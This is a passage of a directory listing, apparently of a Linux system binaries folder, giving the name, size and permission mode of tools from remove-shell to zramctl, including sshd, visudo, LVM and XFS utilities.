| remove-shell | File | 1.07 KB | 0755 |
|
| resize2fs | File | 66.3 KB | 0755 |
|
| rmmod | File | 166.36 KB | 0755 |
|
| rmt | File | 58.57 KB | 0755 |
|
| rmt-tar | File | 58.57 KB | 0755 |
|
| rsyslogd | File | 767.19 KB | 0755 |
|
| rtacct | File | 28.31 KB | 0755 |
|
| rtcwake | File | 34.38 KB | 0755 |
|
| rtmon | File | 90.39 KB | 0755 |
|
| runlevel | File | 1.06 MB | 0755 |
|
| runuser | File | 54.38 KB | 0755 |
|
| service | File | 8.88 KB | 0755 |
|
| setcap | File | 14.3 KB | 0755 |
|
| setvesablank | File | 14.23 KB | 0755 |
|
| setvtrgb | File | 14.29 KB | 0755 |
|
| sfdisk | File | 102.38 KB | 0755 |
|
| sgdisk | File | 162.48 KB | 0755 |
|
| shadowconfig | File | 885 B | 0755 |
|
| shutdown | File | 1.06 MB | 0755 |
|
| split-logfile | File | 2.36 KB | 0755 |
|
| sshd | File | 899.7 KB | 0755 |
|
| start-stop-daemon | File | 47.35 KB | 0755 |
|
| sudo_logsrvd | File | 200.1 KB | 0755 |
|
| sudo_sendlog | File | 107.34 KB | 0755 |
|
| sulogin | File | 42.38 KB | 0755 |
|
| swaplabel | File | 18.38 KB | 0755 |
|
| swapoff | File | 22.38 KB | 0755 |
|
| swapon | File | 42.38 KB | 0755 |
|
| switch_root | File | 22.38 KB | 0755 |
|
| sysctl | File | 30.23 KB | 0755 |
|
| tarcat | File | 936 B | 0755 |
|
| tc | File | 614.08 KB | 0755 |
|
| telinit | File | 1.06 MB | 0755 |
|
| thin_check | File | 1.33 MB | 0755 |
|
| thin_delta | File | 1.33 MB | 0755 |
|
| thin_dump | File | 1.33 MB | 0755 |
|
| thin_ls | File | 1.33 MB | 0755 |
|
| thin_metadata_size | File | 1.33 MB | 0755 |
|
| thin_repair | File | 1.33 MB | 0755 |
|
| thin_restore | File | 1.33 MB | 0755 |
|
| thin_rmap | File | 1.33 MB | 0755 |
|
| thin_trim | File | 1.33 MB | 0755 |
|
| tipc | File | 90.44 KB | 0755 |
|
| tune2fs | File | 102.55 KB | 0755 |
|
| tzconfig | File | 106 B | 0755 |
|
| u-d-c-print-pci-ids | File | 517 B | 0755 |
|
| ufw | File | 4.82 KB | 0755 |
|
| umount.udisks2 | File | 14.3 KB | 0755 |
|
| unix_chkpwd | File | 26.15 KB | 2755 |
|
| unix_update | File | 30.15 KB | 0755 |
|
| update-ca-certificates | File | 5.29 KB | 0755 |
|
| update-grub | File | 64 B | 0755 |
|
| update-grub-gfxpayload | File | 301 B | 0755 |
|
| update-grub2 | File | 64 B | 0755 |
|
| update-icon-caches | File | 596 B | 0755 |
|
| update-info-dir | File | 1.66 KB | 0755 |
|
| update-initramfs | File | 6.74 KB | 0755 |
|
| update-java-alternatives | File | 3.09 KB | 0755 |
|
| update-locale | File | 2.99 KB | 0755 |
|
| update-mime | File | 9.39 KB | 0755 |
|
| update-passwd | File | 34.56 KB | 0755 |
|
| update-pciids | File | 1.71 KB | 0755 |
|
| update-rc.d | File | 16.92 KB | 0755 |
|
| update-shells | File | 3.72 KB | 0755 |
|
| upgrade-from-grub-legacy | File | 1.56 KB | 0755 |
|
| useradd | File | 127.66 KB | 0755 |
|
| userdel | File | 86.85 KB | 0755 |
|
| usermod | File | 123.46 KB | 0755 |
|
| uuidd | File | 30.85 KB | 0755 |
|
| validlocale | File | 1.73 KB | 0755 |
|
| vcstime | File | 14.15 KB | 0755 |
|
| vdpa | File | 30.56 KB | 0755 |
|
| veritysetup | File | 43.76 KB | 0755 |
|
| vgcfgbackup | File | 2.89 MB | 0755 |
|
| vgcfgrestore | File | 2.89 MB | 0755 |
|
| vgchange | File | 2.89 MB | 0755 |
|
| vgck | File | 2.89 MB | 0755 |
|
| vgconvert | File | 2.89 MB | 0755 |
|
| vgcreate | File | 2.89 MB | 0755 |
|
| vgdisplay | File | 2.89 MB | 0755 |
|
| vgexport | File | 2.89 MB | 0755 |
|
| vgextend | File | 2.89 MB | 0755 |
|
| vgimport | File | 2.89 MB | 0755 |
|
| vgimportclone | File | 2.89 MB | 0755 |
|
| vgmerge | File | 2.89 MB | 0755 |
|
| vgmknodes | File | 2.89 MB | 0755 |
|
| vgreduce | File | 2.89 MB | 0755 |
|
| vgremove | File | 2.89 MB | 0755 |
|
| vgrename | File | 2.89 MB | 0755 |
|
| vgs | File | 2.89 MB | 0755 |
|
| vgscan | File | 2.89 MB | 0755 |
|
| vgsplit | File | 2.89 MB | 0755 |
|
| vigr | File | 56.53 KB | 0755 |
|
| vipw | File | 56.53 KB | 0755 |
|
| visudo | File | 219.79 KB | 0755 |
|
| vpddecode | File | 14.58 KB | 0755 |
|
| wipefs | File | 38.38 KB | 0755 |
|
| xfs_admin | File | 1.37 KB | 0755 |
|
| xfs_bmap | File | 695 B | 0755 |
|
| xfs_copy | File | 82.48 KB | 0755 |
|
| xfs_db | File | 652.44 KB | 0755 |
|
| xfs_estimate | File | 14.16 KB | 0755 |
|
| xfs_freeze | File | 800 B | 0755 |
|
| xfs_fsr | File | 42.18 KB | 0755 |
|
| xfs_growfs | File | 38.28 KB | 0755 |
|
| xfs_info | File | 1.26 KB | 0755 |
|
| xfs_io | File | 199.55 KB | 0755 |
|
| xfs_logprint | File | 78.33 KB | 0755 |
|
| xfs_mdrestore | File | 26.17 KB | 0755 |
|
| xfs_metadump | File | 782 B | 0755 |
|
| xfs_mkfile | File | 1.02 KB | 0755 |
|
| xfs_ncheck | File | 685 B | 0755 |
|
| xfs_quota | File | 90.16 KB | 0755 |
|
| xfs_repair | File | 599.38 KB | 0755 |
|
| xfs_rtcp | File | 18.15 KB | 0755 |
|
| xfs_scrub | File | 106.27 KB | 0755 |
|
| xfs_scrub_all | File | 5.87 KB | 0755 |
|
| xfs_spaceman | File | 42.3 KB | 0755 |
|
| xtables-legacy-multi | File | 96.95 KB | 0755 |
|
| xtables-monitor | File | 219.04 KB | 0755 |
|
| xtables-nft-multi | File | 219.04 KB | 0755 |
|
| zabbix_agentd | File | 1.73 MB | 0755 |
|
| zerofree | File | 14.15 KB | 0755 |
|
| zic | File | 62.32 KB | 0755 |
|
| zramctl | File | 54.52 KB | 0755 |
|